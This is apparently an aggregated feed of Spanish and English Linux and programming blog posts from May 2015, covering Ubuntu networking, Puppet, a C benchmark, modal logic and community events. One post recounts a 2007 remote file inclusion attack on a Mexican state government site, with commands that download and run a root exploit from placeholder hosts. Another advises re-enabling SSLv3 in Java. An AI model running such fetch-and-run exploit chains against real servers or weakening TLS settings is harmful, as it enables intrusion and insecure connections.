Viernes 29 de mayo de 2015

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Ubuntu static ip address

Algunas veces es necesario configurar en Ubuntu una ip fija o static ip address y puedes utilizar la terminal para configurarla. Aquí te digo los pasos que tienes que hacer para configurar una ip fija en Ubuntu 14.04 LTS, 15.04, 14,10, 12.04 LTS Continue reading

Jueves 28 de mayo de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

Proper puppet variable declaration

The problem:

Error: Could not retrieve catalog from remote server: Error 400 on SERVER: Syntax error at ','; expected '}' 

Wrong variable declaration:

class repos::params {
      $baseurl = "foo",
      $baseurl_key = "ha",
      $sles12_baseurl = "doo",
      $sles12_SDK_baseurl = "ken",
}


Proper variable declaration:

class repos::params {
      $baseurl = "foo"
      $baseurl_key = "ha"
      $sles12_baseurl = "doo"
      $sles12_SDK_baseurl = "ken"
}
Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Nuevo servicio para enviar WhatsApps anonimos

Wassame es un sitio web que permite enviar SMS anónimos a través de su página. Además ofrece la posibilidad de poder enviar videos, fotos, audios, ubicaciones y contactos. Todo esto de manera oculta. Es decir, aparecerá un número desconocido como emisor del mensaje.

Por otro lado permite enviar un mensaje de emergencia en el cual puedes hacer aparecer tu nombre.

A continuación una captura de pantalla para mostrar esta nueva herramienta, a la cual se puede acceder desde el navegador web:

http://wassame.com/

5690532912168960-bigComo se puede ver, es sumamente fácil de utilizar. Simplemente colocamos nuestro mensaje, el país al que deseamos enviar y el numero de telefono (con codigo de area incluido), finalmente la verificación (suma matemática), y ya podremos enviar nuestro mensaje anónimo.

Anteriormente existían otros servicios similares, pero todos fueron dados de baja. Hoy por hoy el único funcional es Wassame.

Miércoles 27 de mayo de 2015

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Instalar VirtualBox Guest Additions on Fedora 22 21 20

Las VirtualBox Guest Additions son los complementos que se deben instalar en una máquina virtual (VM por las siglas en inglés) que se ha instalado en VirtualBox, estos complementos contienen dirivers y utilitarios para que la VM pueda operar mejor, tenga la resolución de video adecuada y pueda comunicarse con los dispositivos usb, carpetas compartidas y comparta el porta papeles para que puedas compilar y pegar entre tu equipo y la VM. Aquí te digo Como Instalar las VirtualBox Guest Additions en Fedora 22, 21 y 20 Continue reading
Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Fedora 22 Disponible para Descargar

Fedora 22 ha sido liberado y se encuentra disponible para descarga en los repositorios. En esta ocasión el equipo de Fedora ha lanzado 3 ediciones. Aquí te digo cuales y como descargarlas. Descarga ahora Fedora 22 Continue reading

Martes 26 de mayo de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

SLES12 and puppet agent

I found close to no documentation on getting the puppet agent running on SLES 12.

What worked for me was the following repository and then only a zypper install puppet.

http://download.opensuse.org/repositories/systemsmanagement:/puppet/SLE_12/

That's pretty much it.
Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Fort, el mejor gestor de contraseñas

Fort es una aplicación para gestionar contraseñas. Ideal para usuarios que tienen muchas cuentas en varios sitios con contraseñas diferentes. Una de las grandes ventajas de esta herramienta es que es gratuita, además es de código abierto.

¿Como trabaja “Fort” para administrar mis contraseñas en Linux?

Muchos usuarios con experiencia han calificado a esta herramienta como una de las mas fáciles de manejar, y esto se debe a su interfaz amigable. Como se puede ver en la captura de pantalla, se puede apreciar la facilidad de su uso.

Para descargarla, solo deben ir hacia la URL oficial para ver la serie de comandos para descargarla e instalarla.

Fort Como muestra la captura de pantalla, los campos a llenar, son similares a los de un formulario de contacto. Solo hay que ingresar un titulo que identifique al sitio correspondiente la contraseña. Además colocar el usuario y contraseña que usas para entrar a dicho sitio web.Fort es una gran herramienta y muy fácil de usar, por lo que los invitamos a que la prueben.

Lunes 25 de mayo de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

Solo vemos lo que ellos quieren que veas

Recuerdo que durante mi infancia escuché muchas ocasiones una frase que se repetía en muchos de mis círculos amistosos y familiares al respecto de los medios de comunicación:

"solo vemos lo que ellos quieren que veas"

Si, tenía mucho sentido en un medio como la televisión donde no se interactuaba de ningún modo y toda comunicación era unidireccional. La radio igual y los medios impresos.

Así tuvieron que pasar muchos años para que se masificara la utilización de medios "interactivos" donde los usuarios generan contenidos, imágenes, comentan, reciben comentarios y así todos forman parte de un medio en el que se elimina la posibilidad de que un medio genere el contenido que nosotros queremos ver.

Hay una falsa ilusión en esta "libertad" de información; y me refiero específicamente a la plataforma facebook ya que para los ciudadanos de zonas metropolitanas, y no hablo de zonas rurales, toda la vida, acción, invitación y evento gira en torno a la red social de la F. 
Oh si, comparten información, artículos de interés, chismes, moda, reportajes, etc, una "libertad" de escoger lo que queremos ver, de lo que nos queremos informar.

A través de ciertos algoritmos que facebook ha diseñado. Un usuario solo lee las noticias o eventos que la red social decide que leas. 


"the algorithm that chose which stories to boost was called “the publisher." "A squirrel dying in front of your house may be more relevant to your interests right now than people dying in Africa.”"

Y eso solo un ejemplo; que tal si brincamos al aspecto político?

"They found that the News Feed algorithm—which has long been accused of shielding users from politically oppositional content—decreased the visibility of ideologically “cross-cutting”"

Tanta tecnología atrás de estos avances en medios, para terminar nuevamente leyendo, viendo y escuchando lo que ellos quieren que veamos.

Domingo 24 de mayo de 2015

ILOM Remote Console: No appropriate protocol #Mac

Después de actualizar el Java en mi Mac, la consola remota del ILOM me arrojaba este mensaje: “No appropriate protocol (protocol is disabled or cipher suites are inappropriate)”. Para poder ingresar hay que des-habilitar el cifrado SSLv3, puede ser mediante el servidor ILOM , el navegador o directamente Java:

En mi caso ( Mac OS x Yosemite 10.10.3 ), me logue cómo root y edite el archivo java.security:

$ sudo nano /Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/lib/security/java.security

Comente la siguiente linea:
# jdk.tls.disabledAlgorithms=MD5, SSLv3, DSA, RSA keySize < 2048
# jdk.tls.disabledAlgorithms=SSLv3

De esta forma ya podemos visualizar la consola remota del ILOM sin problemas:

Alcance Libre: Presentando el almacén YUM AL-Server-Plus.
Alcance Libre: Presentando el almacén YUM AL-Server-Plus.

Viernes 22 de mayo de 2015

A veces un “if” es más barato

En una interesante discusión en el grupo de Facebook de la Comunidad .NET Tijuana surgió el tema de las microoptimizaciones, en particular el uso de evaluación en corto circuito y el ahorro de ifs “que son muy costosos al CPU”.

Mi último argumento:

A lo que iba es que el short-circuit, si bien te puede ahorrar ifs, también puede darte sorpresas como brincarse validaciones de seguridad. Ha ocurrido en otros lenguajes. Yo prefiero un if explicito, que en realidad no es nada caro al CPU, a menos que no diseñes bien tus condiciones.

Entonces el autor original hace un planteamiento: ¿Cuál de los dos siguientes programas es más rápido?

Programa X:

for (int i = 0; i < 1000; i++)
{
    if (x >= 10)
    {
        x = 0;
    }
    else
    {
        x++;
    }
}

Programa Y:

int y = 0;
for (int i = 0; i < 1000; i++)
{
    y = (y + 1) % 10;
}

A simple vista podría parecer que el programa X, el que tiene ifs, es más complejo: son más líneas y se divide el flujo del programa.

Pero, como siempre, la respuesta no es tan sencilla. Entonces se abre la caja de pandora. Para poder contestar sin experimentación se requiere de un conocimiento profundo y preciso de varios comportamientos que influyen en el rendimiento de un programa. Lo mejor que podemos hacer es el experimento.

¿En realidad importa?

Compilaré los siguientes programas en C:

Programa X:

#define LIMIT 1000
int main(void) {
    int x = 0;
    for (int i = 0; i < LIMIT; i++)
    {
        if (x >= 10)
        {
            x = 0;
        }
        else
        {
            x++;
        }
    }
    return 0;
}

Programa Y:

#define LIMIT 1000
int main(void) {
    int y = 0;
    for (int i = 0; i < LIMIT; i++)
    {
        y = (y + 1) % 10;
    }
    return 0;
}

Veamos cuál es más rápido:

$ c99 -o x x.c
$ c99 -o y y.c
$ time ./x

real	0m0.001s
user	0m0.000s
sys	0m0.001s
$ time ./y

real	0m0.001s
user	0m0.000s
sys	0m0.001s

Háganle caso al renglón user. En realidad no importa a cuál le hagan caso, los resultados de los dos programas son iguales.

Evidentemente ¡ambos programas son demasiado rápidos siquiera para ser medidos a pesar de que se trata de 1,000 iteraciones! Es decir, si hay una diferencia, es claro que ésta es menor a 1 ms. Realmente no nos importa.

Sin embargo, si estamos programando un sistema de manejo masivo de información (como un DBMS), esto podría resultar en una diferencia considerable. Por eso estos sistemas se escriben en C. En esos casos no sólo basta saber si importa, sino qué tanto importa.

Aumentemos el límite a 1,000,000

Qué bueno que definí el límite en una línea independiente, así puedo usar sed para modificar los archivos y que quede de manifiesto en la salida que pego a continuación.

$ sed -i -re 's/^#define LIMIT.*$/#define LIMIT 1000000/' x.c y.c
$ 
$ cat x.c
#define LIMIT 1000000
int main(void) {
    int x = 0;
    for (int i = 0; i < LIMIT; i++)
    {
        if (x >= 10)
        {
            x = 0;
        }
        else
        {
            x++;
        }
    }
    return 0;
}

$ cat y.c
#define LIMIT 1000000
int main(void) {
    int y = 0;
    for (int i = 0; i < LIMIT; i++)
    {
        y = (y + 1) % 10;
    }
    return 0;

Nuestra modificación funcionó. El límite quedó a 1,000,000. Compilemos:

$ c99 -o x x.c
$ c99 -o y y.c

Compila correctamente. ¿Cómo quedaron los tiempos?

$ time ./x

real	0m0.005s
user	0m0.005s
sys	0m0.000s
$ time ./y

real	0m0.012s
user	0m0.012s
sys	0m0.000s

Se asoma una ligera tendencia a favor del programa X. Sin embargo es prácticamente negligible. ¡Estamos hablando de 7 ns de diferencia por iteración!

Probemos con 1,000,000,000 de iteraciones

Sin embargo, los números aún son muy chicos como para tener suficiente resolución. Cualquier pequeño efecto pasajero sobre la máquina nos podría perjudicar en la medición. Una manera barata de mejorar esto es aumentando a 1,000,000,000 de iteraciones.

$ sed -i -re 's/^#define LIMIT.*$/#define LIMIT 1000000000/' x.c y.c;
$ c99 -o x x.c
$ c99 -o y y.c
$ time ./x

real	0m2.737s
user	0m2.735s
sys	0m0.000s
$ time ./y

real	0m8.827s
user	0m8.816s
sys	0m0.000s

Ya se observan valores más medibles: la diferencia es de 6 ns por iteración. Esta diferencia radica en que entre más iteraciones, los efectos de la carga del programa desde disco (o caché de disco), segmentación de memoria e inicialización de las librerías se reducen en comparación.

Niveles de optimización en los compiladores

GCC soporta varios niveles de optimización ¡y vaya que tienen efecto! ¿Qué pasa si medimos el tiempo de ejecución de los programas con 1,000,000,000 de iteraciones utilizando diferentes niveles de mágicas optimizaciones del compilador?

Para compilarlos probaremos las banderas -O0, -O1, -O2, -O3, -Ofast y -Os. Por ejemplo, para compilar con el nivel de optimización 1, usaríamos la siguiente instrucción:

$ c99 -O1 -o x x.c

Estos son los resultados, medidos en segundos:

Nivel -O X Y
0 2.734 8.806
1 1.450 0.339
2 0.000 0.000
3 0.000 0.000
fast 0.000 0.000
s 0.000 0.000

Dos observaciones interesantes:

  1. En -O1, el programa Y funciona más rápido que el programa X.
  2. A partir de -O2 ¡el tiempo se desploma a cero!

Pero no todo es tan simple…

Los compiladores son muy astutos, parte 1

Comparemos el código generado por -O0 contra el código generado por -O2 para el programa X:

$ c99 -O0 -o x x.c
$ gdb -batch -ex 'file x' -ex 'disassemble main'
Dump of assembler code for function main:
   0x00000000004004ed <+0>:	push   %rbp
   0x00000000004004ee <+1>:	mov    %rsp,%rbp
   0x00000000004004f1 <+4>:	movl   $0x0,-0x8(%rbp)
   0x00000000004004f8 <+11>:	movl   $0x0,-0x4(%rbp)
   0x00000000004004ff <+18>:	jmp    0x400518 <main+43>
   0x0000000000400501 <+20>:	cmpl   $0x9,-0x8(%rbp)
   0x0000000000400505 <+24>:	jle    0x400510 <main+35>
   0x0000000000400507 <+26>:	movl   $0x0,-0x8(%rbp)
   0x000000000040050e <+33>:	jmp    0x400514 <main+39>
   0x0000000000400510 <+35>:	addl   $0x1,-0x8(%rbp)
   0x0000000000400514 <+39>:	addl   $0x1,-0x4(%rbp)
   0x0000000000400518 <+43>:	cmpl   $0x3b9ac9ff,-0x4(%rbp)
   0x000000000040051f <+50>:	jle    0x400501 <main+20>
   0x0000000000400521 <+52>:	mov    $0x0,%eax
   0x0000000000400526 <+57>:	pop    %rbp
   0x0000000000400527 <+58>:	retq   
End of assembler dump.
$ 
$ c99 -O2 -o x x.c
$ gdb -batch -ex 'file x' -ex 'disassemble main'
Dump of assembler code for function main:
   0x0000000000400400 <+0>:	xor    %eax,%eax
   0x0000000000400402 <+2>:	retq   
End of assembler dump.

¡¿DAFUQ?! ¡¿En serio?! ¿El compilador cambió todo el código que escribimos con el sudor de nuestra frente, por dos míseras instrucciones?

Pues sí, resulta que el compilador observó que nuestro cómputo no sirve de nada porque de todos modos estamos regresando 0 en la línea return 0, así que todo nuestro código no tiene efecto observable. Por eso lo toma, lo tira a la basura y nosotros seguimos observando exactamente el mismo resultado: el correcto.

Los compiladores son muy astutos, parte 2

Hagamos el mismo análisis, comparando el código generado por -O0 contra el código generado por -O2, ahora para el programa Y:

$ c99 -O0 -o y y.c
$ gdb -batch -ex 'file y' -ex 'disassemble main'
Dump of assembler code for function main:
   0x00000000004004ed <+0>:	push   %rbp
   0x00000000004004ee <+1>:	mov    %rsp,%rbp
   0x00000000004004f1 <+4>:	movl   $0x0,-0x8(%rbp)
   0x00000000004004f8 <+11>:	movl   $0x0,-0x4(%rbp)
   0x00000000004004ff <+18>:	jmp    0x400536 <main+73>
   0x0000000000400501 <+20>:	mov    -0x8(%rbp),%eax
   0x0000000000400504 <+23>:	lea    0x1(%rax),%ecx
   0x0000000000400507 <+26>:	mov    $0x66666667,%edx
   0x000000000040050c <+31>:	mov    %ecx,%eax
   0x000000000040050e <+33>:	imul   %edx
   0x0000000000400510 <+35>:	sar    $0x2,%edx
   0x0000000000400513 <+38>:	mov    %ecx,%eax
   0x0000000000400515 <+40>:	sar    $0x1f,%eax
   0x0000000000400518 <+43>:	sub    %eax,%edx
   0x000000000040051a <+45>:	mov    %edx,%eax
   0x000000000040051c <+47>:	mov    %eax,-0x8(%rbp)
   0x000000000040051f <+50>:	mov    -0x8(%rbp),%edx
   0x0000000000400522 <+53>:	mov    %edx,%eax
   0x0000000000400524 <+55>:	shl    $0x2,%eax
   0x0000000000400527 <+58>:	add    %edx,%eax
   0x0000000000400529 <+60>:	add    %eax,%eax
   0x000000000040052b <+62>:	sub    %eax,%ecx
   0x000000000040052d <+64>:	mov    %ecx,%eax
   0x000000000040052f <+66>:	mov    %eax,-0x8(%rbp)
   0x0000000000400532 <+69>:	addl   $0x1,-0x4(%rbp)
   0x0000000000400536 <+73>:	cmpl   $0x3b9ac9ff,-0x4(%rbp)
   0x000000000040053d <+80>:	jle    0x400501 <main+20>
   0x000000000040053f <+82>:	mov    $0x0,%eax
   0x0000000000400544 <+87>:	pop    %rbp
   0x0000000000400545 <+88>:	retq   
End of assembler dump.
$ 
$ c99 -O2 -o y y.c
$ gdb -batch -ex 'file y' -ex 'disassemble main'
Dump of assembler code for function main:
   0x0000000000400400 <+0>:	xor    %eax,%eax
   0x0000000000400402 <+2>:	retq   
End of assembler dump.

No sólo ocurre lo mismo, sino que además llama la atención la línea marcada en negritas:

0x000000000040050e <+33>:	imul   %edx

A pesar de no utilizar optimizaciones, el compilador sabe que, para calcular el módulo, usar la operación DIV tomaría más ciclos de reloj que seguir un algoritmo basado en multiplicaciones enteras, y sabe que eso es cierto en este caso y en esta arquitectura.

Otro ejemplo de una optimización común: cuando hablamos de una variable x que es entera positiva, la expresión x / 2 suele ser convertida en x >> 1.

¿Cómo evitar que nuestro código sea eliminado?

Simplemente es cuestión de usar el valor. Podríamos imprimirlo en pantalla, pero para mantener limpio el desensamblaje mejor cambiemos return 0 por return x o return y según corresponda:

$ sed -i -re "s/return 0;/return x;/" x.c
$ sed -i -re "s/return 0;/return y;/" y.c
$ cat x.c
#define LIMIT 1000000000
int main(void) {
    int x = 0;
    for (int i = 0; i < LIMIT; i++)
    {
        if (x >= 10)
        {
            x = 0;
        }
        else
        {
            x++;
        }
    }
    return x;
}

$ cat y.c
#define LIMIT 1000000000
int main(void) {
    int y = 0;
    for (int i = 0; i < LIMIT; i++)
    {
        y = (y + 1) % 10;
    }
    return y;
}

Bien, nuestro código fuente está correcto. Compilemos con -O3:

$ c99 -O3 -o x x.c
$ c99 -O3 -o y y.c

Compiló correctamente. Verifiquemos en el código generado:

$ gdb -batch -ex 'file x' -ex 'disassemble main'
Dump of assembler code for function main:
   0x0000000000400400 <+0>:	mov    $0x3b9aca00,%edx
   0x0000000000400405 <+5>:	xor    %eax,%eax
   0x0000000000400407 <+7>:	xor    %esi,%esi
   0x0000000000400409 <+9>:	nopl   0x0(%rax)
   0x0000000000400410 <+16>:	lea    0x1(%rax),%ecx
   0x0000000000400413 <+19>:	cmp    $0x9,%eax
   0x0000000000400416 <+22>:	mov    %ecx,%eax
   0x0000000000400418 <+24>:	cmovg  %esi,%eax
   0x000000000040041b <+27>:	sub    $0x1,%edx
   0x000000000040041e <+30>:	jne    0x400410 <main+16>
   0x0000000000400420 <+32>:	repz retq 
End of assembler dump.
$ gdb -batch -ex 'file y' -ex 'disassemble main'
Dump of assembler code for function main:
   0x0000000000400400 <+0>:	mov    $0x3b9aca00,%esi
   0x0000000000400405 <+5>:	xor    %edx,%edx
   0x0000000000400407 <+7>:	mov    $0x66666667,%edi
   0x000000000040040c <+12>:	nopl   0x0(%rax)
   0x0000000000400410 <+16>:	lea    0x1(%rdx),%ecx
   0x0000000000400413 <+19>:	mov    %ecx,%eax
   0x0000000000400415 <+21>:	imul   %edi
   0x0000000000400417 <+23>:	mov    %ecx,%eax
   0x0000000000400419 <+25>:	sar    $0x1f,%eax
   0x000000000040041c <+28>:	sar    $0x2,%edx
   0x000000000040041f <+31>:	sub    %eax,%edx
   0x0000000000400421 <+33>:	lea    (%rdx,%rdx,4),%eax
   0x0000000000400424 <+36>:	add    %eax,%eax
   0x0000000000400426 <+38>:	sub    %eax,%ecx
   0x0000000000400428 <+40>:	sub    $0x1,%esi
   0x000000000040042b <+43>:	mov    %ecx,%edx
   0x000000000040042d <+45>:	jne    0x400410 <main+16>
   0x000000000040042f <+47>:	mov    %ecx,%eax
   0x0000000000400431 <+49>:	retq   
End of assembler dump.

Claramente el código ya no está siendo eliminado.

$ time ./x

real	0m1.460s
user	0m1.458s
sys	0m0.000s
$ time ./y

real	0m4.188s
user	0m4.180s
sys	0m0.004s

El resultado: ~3 ns de diferencia por iteración en -O3.

La nueva tabla completa de resultados entre los diferentes niveles de optimización, medidos en segundos:

-O X Y
0 2.729 8.810
1 1.455 4.188
2 1.455 4.180
3 1.458 4.180
fast 1.458 4.185
s 1.451 5.688

¡Tenemos un ganador!

Observaciones interesantes: A diferencia de los resultados que obtuvimos en la primera tabla, donde el código usaba return 0, en esta ocasión el programa Y ya no gana ni siquiera en -O1. En realidad no es que fuera más óptimo anteriormente, sino que el compilador alcanzaba a descartarlo mejor por el uso de return 0.

Conclusiones

Las conclusiones te tocan a ti. :-)

Actualización

Después de hacer la publicación caí en cuenta de que olvidé mencionar algunos detalles importantes:

  1. El sistema donde se probó es un Intel(R) Xeon(R) CPU X5472 @ 3.00GHz de 8 núcleos con memoria ECC. Nunca vi que se usara más de un solo núcleo. Los invito a repetir las pruebas en sus laptops y Raspberry Pi. Raspberry Pi es ARM, hay que tomarlo en consideración.
  2. GCC no fue lo suficientemente inteligente para detectar que sólo estábamos trabajando con constantes y haber reducido el programa a una asignación directa con complejidad O(1).
  3. Es importante considerar que los dos programas probados no son equivalentes. X arroja 10, Y arroja 0. Para hacer una comparación justa entre dos programas es importante que el resultado sea el mismo. Aparentemente, el motivo del planteamiento era probar brutamente if contra bloques sin if. El motivo es que, en la vida real, las adecuaciones que se necesitarían para garantizar el resultado afectarían la complejidad del programa; se supone que uno es una refactorización del otro. En este caso sí importa cuidar los nanosegundos puesto que se trata de una medición.
  4. El propósito de esta publicación es dejar en claro que la velocidad de un programa es muy variable y que depende de muchos factores, como del lenguaje, del compilador, de la arquitectura en la que corre el programa, del modelo exacto de microprocesador, incluso de la manera en como hacemos nuestra prueba, pero sobre todo, del algoritmo. La microoptimización sólo tiene sentido en casos muy particulares.

Jueves 21 de mayo de 2015

Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Solucionar problema “ioctl(SIOCSIFFLAGS) failed: Name not unique on network”

Hoy día estaba intentando hacer un paper sobre redes inalámbricas, pero a la hora de poner mi interface a scannear, tenia el problema de que me mostraba un error:

ioctl(SIOCSIFFLAGS) failed: Name not unique on network

 

Después de googlear un rato, descubrí que este error empezó a aparecer en Ubuntu 15.04. Por lo que veo, aircrack aun tiene unos problemas con esta nueva versión de Ubuntu.
Tras investigar un poco, llegué a esta solución que se las comparto a continuación…

Lo primero que hay que hacer, es detener la tarjeta en modo monitor (si es que la tenemos en modo monitor obviamente). Para ello, tipeamos el siguiente comando:

sudo airmon-ng wlan1 stop

Y luego, tipeamos lo siguiente para desactivar nuestra interface:

sudo ifconfig wlan1 down

Ahora la pondremos en modo monitor con el siguiente comando:

sudo iwconfig wlan1 mode monitor

Y finalmente la volvemos a levantar con el siguiente comando:

sudo ifconfig wlan1 up

 

Finalmente, volvemos a probar el comando airodump-ng wlan1 para ver si quedó bien:

Y como podrán observar, ya funciona nuevamente.

Martes 19 de mayo de 2015

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Feeling somewhat special

Today I feel more special than I have ever felt.

Or... Well, or something like that.

Thing is, there is no clear adjective for this — But I successfully finished my Specialization degree! Yes, believe it or not, today I can formally say I am Specialist in Informatic Security and Information Technologies (Especialista en Seguridad Informática y Tecnologías de la Información), as awarded by the Higher School of Electric and Mechanic Engineering (Escuela Superior de Ingeniería Mecánica y Eléctrica) of the National Polytechnical Institute (Instituto Politécnico Nacional).

In Mexico and most Latin American countries, degrees are usually incorporated to your name as if they were a nobiliary title. Thus, when graduating from Engineering studies (pre-graduate universitary level), I became "Ingeniero Gunnar Wolf". People graduating from further postgraduate programs get to introduce themselves as "Maestro Foobar Baz" or "Doctor Quux Noox". And yes, a Specialization is a small posgraduate program (I often say, the smallest possible posgraduate). And as a Specialist... What can I brag about? Can say I am Specially Gunnar Wolf? Or Special Gunnar Wolf? Nope. The honorific title for a Specialization is a pointer to null, and when casted into a char* it might corrupt your honor-recognizing function. So I'm still Ingeniero Gunnar Wolf, for information security reasons.

So that's the reason I am now enrolled in the Masters program. I hope to write an addenda to this message soonish (where soonish ≥ 18 months) saying I'm finally a Maestro.

As a sidenote, many people asked me: Why did I take on the specialization, which is a degree too small for most kinds of real work recognition? Because it's been around twenty years since I last attended a long-term scholar program as a student. And my dish is quite full with activities and responsabilities. I decided to take a short program, designed for 12 months (I graduated in 16, minus two months that the university was on strike... Quite good, I'd say ;-) ) to see how I fared on it, and only later jumping on the full version.

Because, yes, to advance my career at the university, I finally recognized and understood that I do need postgraduate studies.

Oh, and what kind of work did I do for this? Besides the classes I took, I wrote a thesis on a model for evaluating covert channels for establishing secure communications.

Aprovechar los mensajes de error en PHP para comprometer el servidor.

Esta prueba de penetración la realice hace aproximadamente 08 años (2007 creo), cuando pasaba por mi etapa de “jaquer gueb”, ya saben la edad donde te sientes invencible delante del ordenador, cómo todo un “Dios de la red” y tienes el ego muy elevado.

La pagina que se audito fue la Secretaria de Gobierno  de Yucatán  Quintana Roo { segob.qroo.gob.mx }:

URL warning

La pagina muestra un mensaje de warning, el cual menciona que no puede abrir cierto parámetro, aquí es donde empezamos a jugar con la URL ( querystring ), de tal forma que podamos incluir un archivo externo (una shell):

URL querystring RFI

Una de las (des)ventajas de cuando están activados los mensajes de error, es que te enseñan el error cómo tal y una posible solución, aquí no encontraba la variable $Pagina, la cual estaba mal implementada y permitió incluir el archivo remoto (shell):

RFI - Shell php

Una vez obteniendo que la shell interactue con el servidor, lo siguiente es sacar información, que por lo que vemos en esos ayeres, era un kernel 2.6.16.13-4smp del año 2006, que en cuestión de 10 minutos podría ser rooteado:

$ cd /tmp
$ wget http://evilpageee.kom/r0nin
$ chmod 777 r0nin
$ ./r0nin

##Ahora ponemos el nc a escucha del puerto que use tu backdoor 

$ pwd 
/
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) 
$ cd /tmp 
$ wget http://evilpagee.k0m/xploit

    Connecting to evilpagee.k0m:80... connected! HTTP request sent, awaiting response... 200 OK Length: 11,800 0K .......... .... 100% @ 70.79 KB/s 22:17:19 (71.45 KB/s) - "xploit" saved [14860/14860]
...

$ chmod 777 xploit 
$ ./xploit 

    Attached to 30330 
    Waiting for signal 
    Signal caught 
    Shellcode placed at 0x40111aed 
    Now wait for suid shell...  

$ id 
    uid=0(root) gid=0(root) groups=0(root) 
# Breve resumen de un rooteado en aquellos años

Una vez obteniendo r00t y llegar hasta la cocina es cuestión de cambiar permisos/grupo al usuario, y voala:

qroo Root

¿Y todo esto cómo fue posible?

La pregunta del millón, ¿cómo alguien puede obtener el control de un servidor?: Una simple linea de código, comprometió todo un servidor.

bug_code

La variable $Pagina quedo flotando, fue lo que nos permitió explotar esta técnica de inclusión de archivos remotos (en aquellos años maravillosos). Lamentablemente este tipo de problemas a pesar de los años todavía persisten (no me refiero al RFI), programadores/desarrolladores dejan activos estos tipos de mensajes de error en sitios ya en producción, que para una persona con fines maliciosos, podría tener el control de un servidor (en este caso de gobierno) y no dejar un mensaje modificando el index de la pagina principal, sí no aprovechando sus recursos o obteniendo información confidencial.

happy hacking!!

Domingo 17 de mayo de 2015

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
beck's site

Fórmula de Barcán y filosofía analítica a través de lógica modal

Hoy hablaré de una fórmula ubicua en lógica modal y muchas teorías de filosofía, de hecho tiene consecuencias impresionantes en cuando a la visión del mundo y nuestro entorno

Fórmula de Barcán: 

$latex \forall x\square Px\rightarrow \square \forall x P x$
Si todo necesariamente es $latex P$ entonces necesariamente todo es P

Equivalente tenemos:
$latex \lozenge \exists x P x \rightarrow \exists x \lozenge P x$

Posiblemente hay un $latex x$ que es $latex P$ entonces existe un $latex x$ que posiblemente es $latex P$

Esta Fórmula es muy usada en Lógica modal y tiene impacto directo en filosofía ya que como recordarán en lógica modal tienes los operadores cuadrado y rombo

La lógica modal se usa para estudiar también teoría de decisiones por ejemplo en ingeniería se puede combinar con lógica difusa (o borrosa como le digan)

Operador modal $latex \square$
Denota cuando una verdad es "necesaria" lo cual significa que en todos los posibles escenarios... mundos... siempre es verdadero...  como por ejemplo el hecho de que algún día vamos a morir, o el hecho de que "llueve o no llueve" eso siempre sucederá no importa lo que pase, lo cual en general es como "P o no P" (Pv~P)

Operador modal $latex \lozenge$
El operador rombo es posibilidad, es cuando una verdad puede ser posible en algún mundo pero no en todos, como el hecho de ser una persona exitosa o que llueva en otoño.

Tengo un post relacionado con los teoremas de incompletud de Gödel donde explico toda la lógica simbólica y semántica de manera muy resumida aquí


Importancia e impacto
La importancia de la fórmula de Barcán es que afirma algo raro, que si hay un objeto o situación que pueda existir en todos los mundos posibles (incluyendo nuestro mundo actual) entonces DEBE existir forzosamente en nuestro mundo actual.

Entonces, esto tiene como consecuencia... que no existen las posibilidades... que todo es "actual" , y lo que es actual es lo que pudo haber existido bajo todas las circunstancias... y de hecho esta pequeña fórmula hace nacer una rama de la filosofía que le llaman "Actualismo" y por consiguiente su negación que se llama "Posibilismo" o "Realismo modal"

Este tipo de argumentos, y lógica la usó Gödel para demostrar que existe un dios lo cual lo tengo explicado y demostrado aquí  bajo el principio de plenitud "Si algo tiene posibilidades de suceder, eventualmente sucederá" , es casi suficiente el suponer esto para demostrar la existencia de dios con lógica modal.


La discusión de la implicación al otro lado de la fórmula de Barcán la pueden ver en este hermoso paper de Melvin Fitting.

Eduardo Ruíz Duarte (beck)
twitter: @toorandom

Saludos


Sábado 16 de mayo de 2015

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

FLISol +CCD 2015

FLISOL CCD JPG Originales_00001

El pasado 26 de Abril se llevó a cabo el Festival Latinoamericano de Instalación de Software Libre (FLISoL), en el cual tuve el honor de participar, dando la plática/taller: SELinux para todos.

Quiero aprovechar para agradecer la invitación y todas las facilidades: a la organizadora Wendy, al buen Ricardo, a los amigos de Eva FedoraEfrén y Ricardo, Omar un excelente fotógrafo (mi foto me encantó!!) y a todos los demás que participaron en el festival, quienes lo hicieron de forma increíble.

17100081119_a81399cd17_b

Pueden checar las fotos del evento en la página oficial: www.flisolccd.org, así como en el facebook del blog.
Para mi plática/taller, también, tuve el gran apoyo de Thomas CameronDan Walsh, a quienes quiero agradecer públicamente por haberme apoyado, compartiendo amablemente su material. Además, mis compañeros de Red Hat México (Muchas gracias Hugo, Andrés, Jules y Lucecita!!!), quienes me apoyaron con souvenirs, además de la oportunidad de tomar un curso oficial para uno de los asistentes, el ganador fue Jonathan Escalante:

16663823854_70c5d06562_b

Quién ya tomó el curso Red Hat System Administration II. Felicidades!!!

Les dejo el material de la plática, así como algunos extras:

Bonus:

Durante la presentación les hable un poco de OpenShift, el cuál es otro de los proyectos en los que estoy trabajando, el año pasado en un evento hice una par de presentaciones, una de las cuales fue acerca de este proyecto. Les comparto el vídeo de dicha presentación:

Ver en YouTube

Además del material de la misma.

Espero les sirva

Viernes 15 de mayo de 2015

Alcance Libre: Activación de SELinux en ALDOS 1.4.

Jueves 14 de mayo de 2015

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Everybody seems to have an opinion on the taxis vs. Uber debate...

The discussion regarding the legality and convenience of Uber, Cabify and similar taxi-by-app services has come to Mexico City — Over the last few days, I've seen newspapers talk about taxi drivers demonstrating against said companies, early attempts at regulating their service, and so on.

I hold the view that every member of a society should live by its accepted rules (i.e. laws) — and if they hold the laws as incorrect, unfair or wrong, they should strive to get the laws to change. Yes, it's a hard thing to do, most often filled with resistence, but it's the only socially responsible way to go.

